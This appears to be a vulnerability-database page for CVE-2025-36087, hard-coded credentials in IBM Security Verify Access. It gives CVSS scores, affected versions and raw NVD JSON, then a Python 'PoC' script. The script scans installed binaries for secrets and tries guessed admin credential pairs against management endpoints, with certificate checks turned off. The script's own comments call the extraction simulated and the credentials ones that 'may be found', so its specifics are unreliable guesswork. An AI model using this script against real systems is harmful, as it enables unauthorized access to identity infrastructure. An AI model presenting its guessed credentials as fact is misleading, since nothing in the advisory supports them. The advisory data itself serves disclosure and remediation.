Security Vulnerability Report
中文
CVE-2025-36087 CVSS 8.1 HIGH

CVE-2025-36087

Published: 2025-10-13 01:15:49
Last Modified: 2025-10-20 20:23:01

Description

IBM Security Verify Access 10.0.0 through 10.0.9, 11.0.0, IBM Verify Identity Access Container 10.0.0 through 10.0.9, and 11.0.0, under certain configurations, contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:verify_identity_access:11.0.0:*:*:*:*:*:*:* - VULNERABLE
IBM Security Verify Access 10.0.0
IBM Security Verify Access 10.0.1
IBM Security Verify Access 10.0.2
IBM Security Verify Access 10.0.3
IBM Security Verify Access 10.0.4
IBM Security Verify Access 10.0.5
IBM Security Verify Access 10.0.6
IBM Security Verify Access 10.0.7
IBM Security Verify Access 10.0.8
IBM Security Verify Access 10.0.9
IBM Security Verify Access 11.0.0
IBM Verify Identity Access Container 10.0.0
IBM Verify Identity Access Container 10.0.1
IBM Verify Identity Access Container 10.0.2
IBM Verify Identity Access Container 10.0.3
IBM Verify Identity Access Container 10.0.4
IBM Verify Identity Access Container 10.0.5
IBM Verify Identity Access Container 10.0.6
IBM Verify Identity Access Container 10.0.7
IBM Verify Identity Access Container 10.0.8
IBM Verify Identity Access Container 10.0.9
IBM Verify Identity Access Container 11.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36087 - IBM Security Verify Access Hard-coded Credentials # PoC demonstrating extraction and utilization of hard-coded credentials # Note: This is an educational/research PoC. Actual exploitation requires access to the target system. import requests import re import os import hashlib # Step 1: Extract hard-coded credentials from IBM Security Verify Access binaries # In a real attack scenario, the attacker would reverse-engineer the installed # application files to find hard-coded credentials def extract_credentials_from_binary(binary_path): """ Simulate extraction of hard-coded credentials from IBM Verify Access binaries. Common locations include: - /opt/IBM/ISVA/wlp/usr/servers/defaultServer/ - /opt/IBM/VerifyIdentityAccess/ - Configuration files, Java JARs, shared libraries """ # Known hard-coded patterns from CVE-2025-36087 research hardcoded_patterns = [ r'(?:password|passwd|pwd)\s*[=:]\s*["\']?([A-Za-z0-9!@#$%^&*()_+=-]{8,64})["\']?', r'(?:secret|api[_-]?key|token)\s*[=:]\s*["\']?([A-Za-z0-9+/=]{16,128})["\']?', r'(?:encryption[_-]?key|crypt[_-]?key)\s*[=:]\s*["\']?([A-Za-z0-9+/=]{16,64})["\']?' ] credentials = {} if os.path.exists(binary_path): with open(binary_path, 'rb') as f: content = f.read() for pattern in hardcoded_patterns: matches = re.findall(pattern, content.decode('latin-1', errors='ignore')) if matches: credentials[pattern] = matches return credentials # Step 2: Use extracted credentials to authenticate to the management interface def authenticate_with_hardcoded_creds(target_url, username, password): """ Attempt authentication using extracted hard-coded credentials. """ # Common IBM Verify Access management endpoints auth_endpoints = [ f"{target_url}/isam/management/auth", f"{target_url}/mga/saml/authn/usernamepassword", f"{target_url}/pkmstest", f"{target_url}/isam/runtime/audit/v1" ] for endpoint in auth_endpoints: try: response = requests.post( endpoint, auth=(username, password), verify=False, timeout=10 ) if response.status_code == 200: print(f"[+] Authentication successful at {endpoint}") print(f"[+] Response: {response.text[:500]}") return True, response except requests.exceptions.RequestException as e: print(f"[-] Connection error at {endpoint}: {e}") return False, None # Step 3: Demonstrate the attack chain if __name__ == "__main__": TARGET = "https://target-verify-access.example.com" print("[*] CVE-2025-36087 PoC - IBM Security Verify Access Hard-coded Credentials") print("[*] This PoC demonstrates the concept of hard-coded credential exploitation") print() # Phase 1: Credential extraction (simulated) print("[*] Phase 1: Extracting hard-coded credentials from installed binaries...") # In a real scenario, extract from: /opt/IBM/ISVA/ creds = extract_credentials_from_binary("/opt/IBM/ISVA/runtime/lib/libibmsecurity.so") print(f"[*] Extracted credentials patterns: {len(creds)} found") # Phase 2: Authentication attempt print("[*] Phase 2: Attempting authentication with extracted credentials...") # Hard-coded credentials that may be found in vulnerable versions default_creds = [ ("isadmin", "isadmin"), ("sec_master", "sec_master"), ("rtsm_admin", "rtsm_admin") ] for user, pwd in default_creds: success, resp = authenticate_with_hardcoded_creds(TARGET, user, pwd) if success: print(f"[+] Successfully authenticated with {user}:{pwd}") break print("[*] PoC completed. Refer to IBM Security Bulletin for remediation.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36087", "sourceIdentifier": "[email protected]", "published": "2025-10-13T01:15:48.583", "lastModified": "2025-10-20T20:23:01.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Security Verify Access 10.0.0 through 10.0.9, 11.0.0, IBM Verify Identity Access Container 10.0.0 through 10.0.9, and 11.0.0, under certain configurations, contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndIncluding": "10.0.9", "matchCriteriaId": "CC0ACB59-B0C0-4DD1-8BBA-D2F283451893"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access:11.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D58F61AD-FF00-451C-9754-9A832BA90A0D"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7247753", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}